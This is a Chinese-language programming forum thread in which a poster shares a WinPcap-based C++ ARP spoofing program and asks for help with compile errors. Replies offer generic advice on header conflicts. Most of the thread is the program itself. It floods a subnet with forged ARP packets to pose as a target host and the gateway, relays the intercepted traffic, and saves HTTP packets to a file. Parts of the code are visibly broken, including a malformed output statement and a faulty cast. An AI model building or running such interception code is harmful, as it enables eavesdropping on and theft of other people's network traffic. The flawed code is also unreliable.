報錯:d:\wpdpack_4_1_2\wpdpack\include\pcap.h(45) : warning C4182: #include nesting level is 362 deep; possible infinite recursion
d:\wpdpack_
// ARPSpoofing.cpp : 定義控制臺應用程式的入口點。
//
#include <iostream>
#include <stdio.h>
#include <conio.h>
#include <pcap.h>
#include <packet32.h>
#include <WinSock2.h>
#include <ntddndis.h>
#include "ArpSpoofing.h"
using namespace std;
unsigned char *mac; //本機MAC地址
unsigned char *fakemac; //被欺騙主機MAC地址
unsigned char *gatewaymac ;//網關MAC地址
unsigned long FakeIp; //要偽裝成的IP地址
unsigned char *packet; //ARP包
unsigned long netsize;
unsigned long net;
pcap_t *adhandle; //一個pcap實體
struct EthernetHeader
{
u_char DestMAC[6]; //目的MAC地址 6位元組
u_char SourMAC[6]; //源MAC地址 6位元組
u_short EthType; //上一層協議型別,如0x0800代表上一層是IP協議,0x0806為arp 2位元組
};
struct TcpHeader
{
u_char SrcPort[4];
u_char DesPort[4];
};
void transMac(char source[], u_char *dest)
{
short i;
int sourceLen = strlen(source);
unsigned char highByte, lowByte;
for (i = 0; i < sourceLen; i += 3)
{
highByte = toupper(source[i]);
lowByte = toupper(source[i + 1]);
if(highByte > 0x39)
highByte -= 0x37;
else
highByte -= 0x30;
if(lowByte > 0x39)
lowByte -= 0x37;
else
lowByte -= 0x30;
dest[i/3] = (highByte << 4) | lowByte;
}
}
/**
* 獲得網卡的MAC地址
* pDevName 網卡的設備名稱
*/
unsigned char* GetSelfMac(char* pDevName)
{
static u_char mac[6];
memset(mac, 0, sizeof(mac));
LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
return NULL;
}
PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
if (OidData == NULL)
{
PacketCloseAdapter(lpAdapter);
return NULL;
}
//
// Retrieve the adapter MAC querying the NIC driver
//
OidData->Oid = OID_802_3_CURRENT_ADDRESS;
OidData->Length = 6;
memset(OidData->Data, 0, 6);
BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
if (Status)
{
memcpy(mac, (u_char*)(OidData->Data), 6);
}
free(OidData);
PacketCloseAdapter(lpAdapter);
return mac;
}
/*
* 封裝ARP請求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP)
{
static struct arp_packet packet;
//目的MAC地址為廣播地址,FF-FF-FF-FF-FF-FF
memset(packet.eth.dest_mac, 0xFF, 6);
//源MAC地址
memcpy(packet.eth.source_mac, source_mac, 6);
//上層協議為ARP協議,0x0806
packet.eth.eh_type = htons(0x0806);
//硬體型別,Ethernet是0x0001
packet.arp.hardware_type = htons(0x0001);
//上層協議型別,IP為0x0800
packet.arp.protocol_type = htons(0x0800);
//硬體地址長度:MAC地址長度為0x06
packet.arp.add_len = 0x06;
//協議地址長度:IP地址長度為0x04
packet.arp.pro_len = 0x04;
//操作:ARP請求為1
packet.arp.option = htons(0x0001);
//源MAC地址
memcpy(packet.arp.sour_addr, source_mac, 6);
//源IP地址
packet.arp.sour_ip = srcIP;
//目的MAC地址,填充0
memset(packet.arp.dest_addr, 0, 6);
//目的IP地址
packet.arp.dest_ip = destIP;
//填充資料,18個位元組
memset(packet.arp.padding, 0, 18);
return (unsigned char*)&packet;
}
DWORD WINAPI arp_proof()
{
while(1)
{
for(unsigned long n=1; n<netsize; n++){
//第i臺主機的IP地址,網路位元組順序
unsigned long destIp = net | htonl(n);
//構建假的ARP請求包,達到本機偽裝成給定的IP地址的目的
packet = BuildArpPacket(mac,FakeIp,destIp);
if(pcap_sendpacket(adhandle, packet, 60)==-1)
{
fprintf(stderr,"pcap_sendpacket error.\n");
}
unsigned long destIp2 = net | htonl(1);
packet = BuildArpPacket(mac,destIp2,FakeIp);
if(pcap_sendpacket(adhandle, packet, 60)==-1)
{
fprintf(stderr,"pcap_sendpacket error.\n");
}
}
Sleep(1000);
}
return 0;
}
int main(int argc, char* argv[])
{
argc = 2;
//argv[0] = "192.168.0.1";
argv[1] = "172.20.10.2";
pcap_if_t *alldevs; //全部網卡串列
pcap_if_t *d; //一個網卡
int inum; //用戶選擇的網卡序號
int i = 0; //回圈變數
char errbuf[PCAP_ERRBUF_SIZE]; //錯誤緩沖區
//unsigned char *mac; //本機MAC地址
//unsigned char *packet; //ARP包
//unsigned long FakeIp; //要偽裝成的IP地址
pcap_addr_t *pAddr; //網卡地址
unsigned long ip; //IP地址
unsigned long netmask; //子網掩碼
struct pcap_pkthdr *header; //接收到的資料包的頭部
const u_char *pkt_data; //接收到的資料包的內容
int res; //表示是否接收到了資料包
char filters[100]="not arp";
struct bpf_program fcode;
/* 從引數串列中獲得要偽裝的IP地址 */
if (argc != 2)
{
cout<<"Usage: "<<argv[0]<<" inet_addr"<<endl;
return -1;
}
FakeIp = inet_addr(argv[1]);
//cout<<"FakeIp: "<<argv[1]<<endl;
if (INADDR_NONE == FakeIp)
{
fprintf(stderr, "Invalid IP: %s\n", argv[1]);
return -1;
}
/*獲得本機網卡串列 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
return -1;
}
for (d = alldevs; d; d = d->next)
{
cout<<++i;
if (d->description)
{
cout<<". "<<d->description<<endl;
}
else
{
cout<<". No description available"<<endl;
}
}
//如果沒有發現網卡
if (i == 0)
{
cout<<"\nNo interfaces found! Make sure WinPcap is installed."<<endl;
return -1;
}
//用戶選擇一個網卡
cout<<"Enter the interface number (1-"<<i<<"):"<<endl;
cin>>inum;
if (inum < 1 || inum > i)
{
cout<<"Interface number out of range."<<endl;
pcap_freealldevs(alldevs);
return -1;
}
/* 移動指標到用戶選擇的網卡 */
for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);
mac = GetSelfMac(d->name); //+8以去掉"rpcap://"
if (mac == NULL)
{
printf("\n本地MAC地址獲取失敗.\n");
return -1;
}
printf("發送ARP欺騙包,本機(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 試圖偽裝成%s\n",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], argv[1]);
//printf("發送ARP欺騙包,本機(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 試圖偽裝成%s\n",
// mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], argv[0]);
/* 打開網卡 */
if ((adhandle = pcap_open_live(d->name, // name of the device
65536, // portion of the packet to capture
0, // open flag
1, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
pcap_freealldevs(alldevs);
return -1;
}
FILE *fp;
//cout<<"1"<<endl;
for (pAddr = d->addresses; pAddr; pAddr = pAddr->next)
{
//得到用戶選擇的網卡的一個IP地址
ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
//得到該IP地址對應的子網掩碼
netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
//cout<<"2"<<endl;
if (!ip || !netmask)
{
// cout<<"6"<<endl;
continue;
}
//看這個IP和要偽裝的IP是否在同一個子網
if ((ip&netmask) != (FakeIp&netmask))
{
//cout<<"5"<<endl;
continue; //如果不在一個子網,繼續遍歷地址串列
}
netsize = ntohl(~netmask); //網路中主機數
net = ip & netmask; //子網地址
HANDLE temp= CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) arp_proof, 0, 0, NULL);
//in_addr subnetIp;
char GateMac[100]=" ",FackMac[100]=" ";
cout<<"FakeMac: "<<FackMac<<endl;
fakemac=(unsigned char *)malloc(sizeof(unsigned char)*6);
transMac(FackMac,fakemac);
cout<<"GateMac: "<<GateMac<<endl;
gatewaymac=(unsigned char *)malloc(sizeof(unsigned char)*6);
transMac(GateMac,gatewaymac);
cout<<"**************************"<<endl;
if (pcap_compile(adhandle, &fcode, filters, 1, netmask) < 0)
{
cout<<"Error"<<endl;
pcap_freealldevs(alldevs);
}
// set the filter
if (pcap_setfilter(adhandle, &fcode) < 0)
{
cout<<"Error"<<endl;
pcap_freealldevs(alldevs);
}
//for (unsigned long n = 1; n<netsize; n++)
//{
//cout<<"4"<<endl;
while ((res = pcap_next_ex(adhandle,&header, &pkt_data))>=0){
if(res == 0)
continue;//read time out
unsigned char *mac1=(unsigned char *)malloc(sizeof(unsigned char)*6); //本機MAC地址
EthernetHeader * eheader = (EthernetHeader*)pkt_data;
http_head * httpheader = (http_head*) pkt_data+34;
if(memcmp(eheader->SourMAC,fakemac,6)==0)
{
memcpy(mac1,gatewaymac,6);
cout<<"des YES!"<<endl;
}
else if(memcmp(eheader->SourMAC,gatewaymac,6)==0)
{
memcpy(mac1,fakemac,6);
cout<<"gate YES!"<<endl;
}
else continue;
if(fp = fopen("1.txt","wb"));
else
{
cout<<"Fail to open the file!"<<endl;
}
if (httpheader->source_port == htons(80) || httpheader->dest_port == htons(80))
{
//保存此包
int Ret = fwrite(pkt_data, header->caplen, 1, fp);//寫入檔案
if (Ret<1 && ferror(fp) != 0)
{
cout<<"fail!"<<<endl;
break;
}
}
memcpy((void *)pkt_data,mac1,6);
memcpy((void *)(pkt_data+6),mac,6);
pcap_sendpacket(adhandle,(const unsigned char *)pkt_data,header->caplen);
}
}
fclose(fp);
pcap_freealldevs(alldevs);//釋放網路設備
return 0;
}
uj5u.com熱心網友回復:
這只是警告,有錯誤要發出來提示資訊,沒辦法給你編譯uj5u.com熱心網友回復:
這只是警告,有錯誤要發出來提示資訊,沒辦法給你編譯uj5u.com熱心網友回復:
c:\wpdpack_4_1_2\wpdpack\include\pcap-stdinc.h(79) : error C2144: syntax error : missing ';' before type 'unsigned int'c:\wpdpack_4_1_2\wpdpack\include\pcap-stdinc.h(79) : fatal error C1004: unexpected end of file found
Error executing cl.exe.
提示是這樣的
uj5u.com熱心網友回復:
這種錯誤一般是頭檔案之間存在沖突,可能是調整順序就能搞定,也可能不是。另外,conio.h這個頭檔案很少用,可以去掉或者放在其它檔案里面uj5u.com熱心網友回復:
ARPSpoofing怎么定義呀?轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/49199.html
標籤:C語言
上一篇:求大神
下一篇:新手求助 如何用int **MatrixMult(int **A, int m, int n, int **B, int p, int q)寫矩陣相乘的函式
